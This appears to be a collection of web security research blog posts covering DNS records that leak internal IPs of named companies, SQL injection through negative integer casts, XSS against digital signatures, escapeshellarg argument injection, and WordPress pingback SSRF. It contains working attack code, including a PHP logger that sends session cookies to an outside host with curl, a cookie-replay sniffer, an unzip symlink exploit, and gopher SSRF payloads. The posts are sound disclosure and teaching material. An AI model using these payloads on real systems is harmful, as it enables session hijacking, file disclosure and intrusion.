The mobile application's role in web application security audits

Modern web projects have also mobile applications.
In terms of client-side model, mobile application is a client, like a browser.
Server is web application: PHP/Java/RoR or another platform's code.

Mobile applications interact with the server just like a browser, because HTTP(S) protocol are very common.

Thus, when we talk about security audit of web application as a server application code, we must also carry out a security checks of the parts that interact with mobile applications, not just those which interact with browsers.

In order to understand how mobile application communicates with application server, which sends requests (which uses urls, parameters), it is necessary to explore mobile app.

The most simple and reliable way for this purpose is to intercept the traffic on the same network that mobile application uses to send requests to application server. This may be a wi-fi or your network card, if the application is run in the emulator.

But recently, we have found another easier way to collect references left in the code by developers of mobile applications. This method is an excellent complement to the first option with the interception of traffic.

Free online service hackapp.com allows you to perform a safety check of mobile apps for iOS including collecting links within mobile applications.

A few examples:
http://hackapp.com/open#8f311762063d536ca6353b3b5ab4d02d
Samsung mobile print application:

This information also can help auditors during penetrations testing.

But sometimes this service surprises us with a startling discovery, for example, private keys!
http://hackapp.com/open#e9e5b174f4955cb4993fbf3393460005
Samsung (again) SmartTangoTalk application:

Enjoy!

Insecure DNS records in top web projects

Last month ONsec_lab had discovered and reported about the same DNS issue in top web projects: live.com, facebook.com, yahoo.com, nokia.com, paypal.com, baidu.com, att.com and many others.

DNS linked few *.COMPANY.com domains to IP which doesn't belong to 

COMPANY.

These addressed from Private Address Space 10/8, 172.16/12, 192.168/16 (look at http://tools.ietf.org/html/rfc1918, https://en.wikipedia.org/wiki/IPv4) and localhost 127.0.0.1.

Basically, this may be interpreted as information leakage from intranet of COMPANY. But it's obvious :)

This server-side issue can be exploited as a client-side vulnerability when attacker and victim are in the same private network:

I.e. local.COMPANY.com have A-record to 10.0.0.123

1. Attacker connects to any public network with address space from 10.0.0.0/8 or other which linked to any local.COMPANY.com domain.

2. Attacker adds to network interface on his computer address from A-record which linked to private address 10.0.0.123.

3. Attacker publishes on any resource link to local.COMPANY.com (for example - banner on any news-site). Like as classic CSRF/reflected XSS attack.

4. All users, who connected to the same network (1) and see banner (3) will make request to http://local.COMPANY.com, which actually will be made to computer of attacker. Browser will  send cookies for *.COMPAMY.com in this request, because user make request to local.live.com. 

In this case malicious user steal cookies.

What about protection? 

Simple way is protect session cookies by Secure flag. This is facebook way. But anyway attacker can steal others non-Secure cookies. Also attacker in this case can do logout attack, because browsers have only 4Kb memory for all cookies which stored at all *.COMPANY.com domains. For this reason attacker can set many new cookies from local.COMPANY.com to delete all cookies from *.COMPANY.com and COMPANY.com scope.

Some examples:

./ccbill.com:192.168.169.170 backend.ccbill.com

./ccbill.com:192.168.13.127 internal.ccbill.com

./facebook.com:10.56.0.51 atlas.facebook.com

./facebook.com:10.56.0.69 hr.facebook.com

./facebook.com:10.60.0.29 lists.facebook.com

./facebook.com:10.170.0.4 ntp.facebook.com

./facebook.com:10.78.0.10 ntp.facebook.com

./facebook.com:10.60.0.195 sb.facebook.com

./facebook.com:10.170.0.4 time.facebook.com

./facebook.com:10.78.0.10 time.facebook.com

./facebook.com:10.56.0.7 xmail.facebook.com

./live.com:10.245.6.27 monitoring.live.com

./nokia.txt:10.113.1.11 guest.nokia.com

./nokia.txt:172.21.214.214 linux.nokia.com

./paypal.com:10.190.3.55 mx.paypal.com

./yahoo.com:10.72.164.31 i.yahoo.com

./yahoo.com:10.80.80.184 na.yahoo.com

./baidu.com:10.11.252.74 accounts.baidu.com

./baidu.com:10.81.7.51 ba.baidu.com

./baidu.com:172.18.100.200 bd.baidu.com

./baidu.com:10.36.155.42 bh.baidu.com

./baidu.com:10.36.160.22 bh.baidu.com

./baidu.com:10.38.19.40 bh.baidu.com

./baidu.com:10.42.7.24 bi.baidu.com

./baidu.com:10.44.64.20 bugs.baidu.com

./baidu.com:10.81.11.67 cd.baidu.com

./baidu.com:10.38.157.31 cdn.baidu.com

./baidu.com:10.26.7.93 cms.baidu.com

./baidu.com:10.26.137.29 com.baidu.com

./baidu.com:10.36.7.99 crm.baidu.com

./baidu.com:10.26.7.125 crm.baidu.com

./baidu.com:10.23.248.28 ct.baidu.com

./baidu.com:10.42.243.12 dc.baidu.com

./baidu.com:10.237.2.83 def.baidu.com

./baidu.com:10.65.211.94 dt.baidu.com

./baidu.com:172.18.0.180 ecom.baidu.com

./baidu.com:10.42.7.18 erp.baidu.com

./baidu.com:10.42.224.22 flow.baidu.com

./baidu.com:172.22.1.88 fw.baidu.com

./baidu.com:172.22.31.92 ga.baidu.com

./baidu.com:10.46.52.12 global.baidu.com

./baidu.com:10.42.58.42 global.baidu.com

./baidu.com:172.16.1.2 gw1.baidu.com

./baidu.com:10.240.31.12 h.baidu.com

./baidu.com:10.81.12.102 iq.baidu.com

./baidu.com:10.42.7.203 it.baidu.com

./baidu.com:10.42.7.54 km.baidu.com

./baidu.com:10.23.249.173 kr.baidu.com

./baidu.com:10.65.18.107 launch.baidu.com

./baidu.com:10.36.23.62 live.baidu.com

./baidu.com:10.26.40.19 live.baidu.com

./baidu.com:10.81.45.245 log.baidu.com

./baidu.com:10.26.39.14 log.baidu.com

./baidu.com:10.23.65.13 log02.baidu.com

./baidu.com:10.11.250.228 mirror.baidu.com

./baidu.com:10.26.140.39 ml.baidu.com

./baidu.com:10.81.15.138 monitor.baidu.com

./baidu.com:10.42.7.232 nl.baidu.com

./baidu.com:10.240.31.12 o.baidu.com

./baidu.com:10.26.3.48 ocean.baidu.com

./baidu.com:10.23.240.246 openview.baidu.com

./baidu.com:10.23.65.19 pe.baidu.com

./baidu.com:172.22.1.82 portal.baidu.com

./baidu.com:10.11.0.12 r2.baidu.com

./baidu.com:10.32.10.74 ra.baidu.com

./baidu.com:10.44.31.17 se.baidu.com

./baidu.com:10.42.7.217 security.baidu.com

./baidu.com:10.65.25.83 serv.baidu.com

./baidu.com:10.26.52.14 sms.baidu.com

./baidu.com:10.65.18.22 speed.baidu.com

./baidu.com:10.42.7.217 ssl.baidu.com

./baidu.com:10.46.28.36 tiger.baidu.com

./baidu.com:10.44.66.5 tn.baidu.com

./baidu.com:10.81.11.241 tool.baidu.com

./baidu.com:10.81.11.241 tools.baidu.com

./baidu.com:10.23.1.162 training.baidu.com

./baidu.com:10.23.248.87 ut.baidu.com

./baidu.com:10.48.40.58 va.baidu.com

./baidu.com:10.48.30.87 web.baidu.com

./baidu.com:10.65.19.212 win.baidu.com

./baidu.com:10.42.8.38 work.baidu.com

./baidu.com:10.81.211.74 ws.baidu.com

When Integer cannot protect you from SQL injection?

It is assumed that the cast user data to a numeric type is fully protected from SQL injection vulnerabilities.

Look at simple example:

$action = $_GET['do'];
$r=$db->query("select role".((int)$action)." from users where id=".((int)$_SESSION['user_id']));
if($row=$r->fetchArray()){
        if((int)$row[0]!==1){
                die('permission denied');
        }else{
                doAction($action);
        }
}

This code looks like SQLi protected, but it is not true.

Do not forget two obvious facts:
1. Minus is SQL operatator
2. Numbers can be negative

Now its easy to understand SQL logic in this case (w/o injection):

select role0 from users where id=0

And SQL injection attack vector in this case:

select role-1 from users where id=0

In our example attacker can bypass auth.
This example requires tables role and role0 both in database.

How XSS can defeat your digital signatures

Recently we exploited nice XSS vector in one of RBS (Remote Banking Service) system. This example shows very well how dangerous can be client-attack.

Client after the authorization could sign electronic documents.
For signature from browser developers used CAPICOM technology.

If you are already understood us, you can not finish this note ;)

Signature from JavaScript - this is easy and usefull from client-side attacks.
JS code for sign document looks like:

function SignCreate(certSubjectName, dataToSign) {
    var oStore = CreateObject("CAPICOM.Store");
    oStore.Open(CAPICOM_CURRENT_USER_STORE, CAPICOM_MY_STORE,
    CAPICOM_STORE_OPEN_MAXIMUM_ALLOWED);

    var oCertificates = oStore.Certificates.Find(
    CAPICOM_CERTIFICATE_FIND_SUBJECT_NAME, certSubjectName);
    if (oCertificates.Count == 0) {
        alert("Certificate not found: " + certSubjectName);
        return;
    }

    ...

You can easily call this function from stored/reflected XSS to sign arbitrary data.
To solve the PIN entry problem, we have used the caching mechanism for the key. Most often, after entering the PIN code of the key, PIN is remembered for a while.

So we were able to sign arbitrary (injected) document immediately after the user signs his own document (and entered PIN of course).

Then, using the Javascript we were able to hide the injected signed document from users's orders table (document was order request) for current user.

So only a single stored XSS vulnerability defeated all security measures of the RBS system. Note, that typically protections such as httpOnly cookies and SSL have been included, but it does not help.

Exploiting server-side vulns as client-side?!!

Sounds terrible, does not it? This post is obviously of course ;)

But sometimes this is effective attack vector, for example, whenever you can exploit any subdomain (news.your-target.com) but can not exploit main domain (your-target.com).

You can track cookies at any subdomain even if they were protected by httpOnly/Security.
Look to RFC6265 http://tools.ietf.org/html/rfc6265:

4.1.2.3.  The Domain Attribute

   The Domain attribute specifies those hosts to which the cookie will
   be sent.  For example, if the value of the Domain attribute is
   "example.com", the user agent will include the cookie in the Cookie
   header when making HTTP requests to example.com, www.example.com, and
   www.corp.example.com.  (Note that a leading %x2E ("."), if present,
   is ignored even though that character is not permitted, but a
   trailing %x2E ("."), if present, will cause the user agent to ignore
   the attribute.)  If the server omits the Domain attribute, the user
   agent will return the cookie only to the origin server.

Tracking cookies are possible when main server sending Set-cookie header with "domain" attribute.

Logger to inject into subdomain may looks like:

<?php
if(!isset($_COOKIE['session_id']) || !preg_match('/$ASYOUWANT^/s',$_COOKIE['session_id']) || isset($_SESSION['already_logged'])){
   //do nothing
}else{
   //exec called for asynchronous request
   exec("curl http://security-auditor.com/sniffer.php?session_id=".$_COOKIE['session_id'])." &";//httpOnly cookie of course
   $_SESSION['already_logged']=true;
}
?>
Simple code of described sniffer listed below:


<?php
$ssid = @$_GET['session_id'];
if($ssid!=""){
 // download page as a client
 $opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: session_id=$ssid;\r\n"
  )
 );
 $context = stream_context_create($opts);
 $file = file_get_contents('https://target.com/settings', false, $context);
 if(!file_exists("/tmp/sess-$ssid")){
        file_put_contents("/tmp/sess-$ssid","Cookie: session_id=$ssid; \n".$file ); } }
?>

Breaking escapeshellarg() news

PHP function escapeshellarg() is the most popular way to prevent OS Commanding threats during shell calls by escaping command arguments.

But this function is not a panacea, and you should keep this in mind when using it.

Let's try to understand what this escaping function is doing:

1. Performs framing quotes string: aaa -> 'aaa'
2. Cuts bytes 0x00, 0x80-0xFF
3. Escape single quotes: ' -> ''\'''

This guaranteed to create one console line argument from a string.
So, looks like ideal solution, right?

But there are no restrictions on characters in this line argument. For example, command line argument after escapeshellarg() filtration can be a command key (-a, -o and others). This is the first trick.

Second trick is argument parser which embeded in command line utilities.

Feel it:
$command -arg param
$command -arg=param
$command '-arg=param'
$command '-arg param'

There are no differences between these four examples for most command line utilities! Pay your attention to two last command lines, - you can put these lines after escapeshellarg() filtration.

Example:

<?php
   exec('unzip -j '.escapeshellarg($_GET['zip_arch_name']).' *.dat -d /tmp');
?>

Is it code protected from hackers? Try to check this in terminal by typing:
$ unzip -j '-d/var/www/' *.dat -d /tmp

This command will extract files with masks '*.dat' (all matches after first), '-d', '/tmp' from ZIP arhieve with filename *.dat to output folder /var/www.

Preparing exploit:
$ ln -s /etc/hosts 2.dat
$ zip --symlinks 1.zip 2.dat
$ mv 1.zip 1.dat

You can also add file with name '-d' to archive to make attack more stable (w/o needs of upload 1.dat and 2.dat both for exploit).

Try it:

$ unzip -j '-d/var/www' *.dat -d /tmp
Archive:  1.dat
    linking: /var/www/2.dat  -> /etc/hosts
finishing deferred symbolic links:
  /var/www/2.dat -> /etc/hosts
caution: filename not matched:  -d
caution: filename not matched:  /tmp

Now you can read files by +FollowSymlinks              -------------->

Analysis of CVE-2013-1048

Today we were very surprised by vulnerability CVE-2013-1048 in Apache web-server. This issue was described in Debian Security Advisory DSA-2637-1 by following notes:

Hayawardh Vijayakumar noticed that the apache2ctl script created the lock directory in an unsafe manner, allowing a local attacker to gain elevated privileges via a symlink attack. This is a Debian specific issue.

First looks at last line of quote - only Debian systems were affected.

Lets try to analyse patch for this bug:

As you can see, install command was replaced to mkdir_chown function which contains many security checks.

Lets try to understand what happens where "install -d -o www-data /var/lock/apache" called.

This command creates directory /var/lock/apache and that set chown www-data to this directory.

But if this directory was already created as a symlink to another directory (/var/lock have a+w privileges), install command change privileges to this directory. Simplest exploitation way is create directory /var/lock/apache as a symlink to /etc/ directory and than delete /etc/shadow file and recreate it with yourself content under www-data user privileges.

Tomcat Servlet Examples threats

Tomcat application server by default contains "/examples" directory which has many example servlets and JSPs.
We strongly recommend to disable public access to this directory by following security reasons:

• Bypassing HttpOnly Cookies protection
• CSRF cookies manipulation
• Session manipulation

HttpOnly flag must protect user's cookies from client-side attacks such as XSS. There are two example servlets in Tomcat which shows all cookies in plain/text HTTP response:

• /examples/servlets/servlet/RequestHeaderExample
• /examples/servlets/servlet/CookieExample

Second servlet also provides CSRF-based cookie manipulations: set/redefine by GET and POST requests both.

Session manipulation is more interesting. Looks at /examples/servlets/servlet/SessionExample servlet. It is simplest way to gain admin privileges in target webapps which hosted on same Tomcat with SessionExample servlet.

Session is global and this servlet provides you any manipulations with your session!

We strongly recommend to disable public access to /examples directory again.

WordPress XMLRPC pingback additional issues

Vulnerability in WordPress XMLRPC pingback function was recently published:
http://www.ethicalhack3r.co.uk/introduction-to-the-wordpress-xml-rpc-api/

Basically this vuln can be used to scan opened ports on localhost and intranet:
https://github.com/FireFart/WordpressPingbackPortScanner

But in fact, this vulnerability is much wider!

First, look at "SSRF bible. Cheatsheet":
https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit
and our ZeroNights 0x02 presentation:
http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities

Lets try to exploit this bug as a SSRF!
By default WP try to use cURL (libcurl) to make a requests:

./wp-includes/class-wp-xmlrpc-server.php:
 4988       $linea = wp_remote_fopen( $pagelinkedfrom );

./wp-includes/functions.php:
 749 function wp_remote_fopen( $uri ) {
 ...
 758         $response = wp_remote_get( $uri, $options );

./wp-includes/http.php:
 74 function wp_remote_get($url, $args = array()) {
 75         $objFetchSite = _wp_http_get_object();
 76         return $objFetchSite->get($url, $args);  ...
 22 function &_wp_http_get_object() {
 23         static $http;
 24
 25         if ( is_null($http) )
 26                 $http = new WP_Http();


./wp-includes/class-http.php:
 294         function get($url, $args = array()) {
 295                 $defaults = array('method' => 'GET');
 296                 $r = wp_parse_args( $args, $defaults );
 297                 return $this->request($url, $r);
 298         }
 ...  
 81         function request( $url, $args = array() ) {
 ...
 191                 return $this->_dispatch_request($url, $r);
 ...
 243         private function _dispatch_request( $url, $args ) {
 244                 static $transports = array();
 245
 246                 $class = $this->_get_first_available_transport( $args, $url
 ...
 205         public function _get_first_available_transport( $args, $url = null )
 206                 $request_order = array( 'curl', 'streams', 'fsockopen' );
Now you know that using file:// gopher:// dict:// ldap:// and other schemas do this bug really dangerous.
It is easy to exploit local services and host-based auth by dict/gopher.

Try to read data from response. It is may be response with local file content (file://) or data from intranet/services (http://wiki.internal.local, gopher://localhost:11211/1get%20secretkey%0aquit).

Look at WP code again:

./wp-includes/class-wp-xmlrpc-server.php:
 4988   $linea = wp_remote_fopen( $pagelinkedfrom );
 4989   if ( !$linea )
 ...
 4999   preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
 5000   $title = $matchtitle[1];
 5001   if ( empty( $title ) )
 5002      return new IXR_Error(32, __('We cannot find a title on that page.'));
 5003
 5004   $linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
 5005
 5006   $p = explode( "\n\n", $linea );
 5007
 5008   $preg_target = preg_quote($pagelinkedto, '|');
 5009   foreach ( $p as $para ) {
 5010      if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
 5011         preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
 5012
 5013         // If the URL isn't in a link context, keep looking
 5014         if ( empty($context) )
 5015            continue;
 ...

 5019         $excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
 5020 
 5021         // prevent really long link text
 5022         if ( strlen($context[1]) > 100 )
 5023            $context[1] = substr($context[1], 0, 100) . '...';

Data between "<titile>" and "</title>" strings will be put in author field of comment (255 bytes limited by DB field).
Data between "<a >" and "</a>" strings will be put in content field of comment (100 bytes limited by line 5022).

Now it is clear that you can read 355 bytes of arbitrary data.

Let's try to read data from access.log.
First inject markers into access.log by following requests:
http://localhost/tests/wordpress/#<title>
http://localhost/tests/wordpress/#</title>
http://localhost/tests/wordpress/#<a http://localhost/tests/wordpress/?p=1>
http://localhost/tests/wordpress/#</a>

Send requests with markers by manually crafted HTTP packets like this (browsers create HTTP requests w/o anchors):
GET /tests/wordpress/#<a>marker1 HTTP/1.1
Host: localhost


Now you can add comment with arbitrary data between your markers using simple XMLRPC request (see slides 20-23 from our presentation about ProcFS way to read access.log):

For fun - reading output of stats memcached command: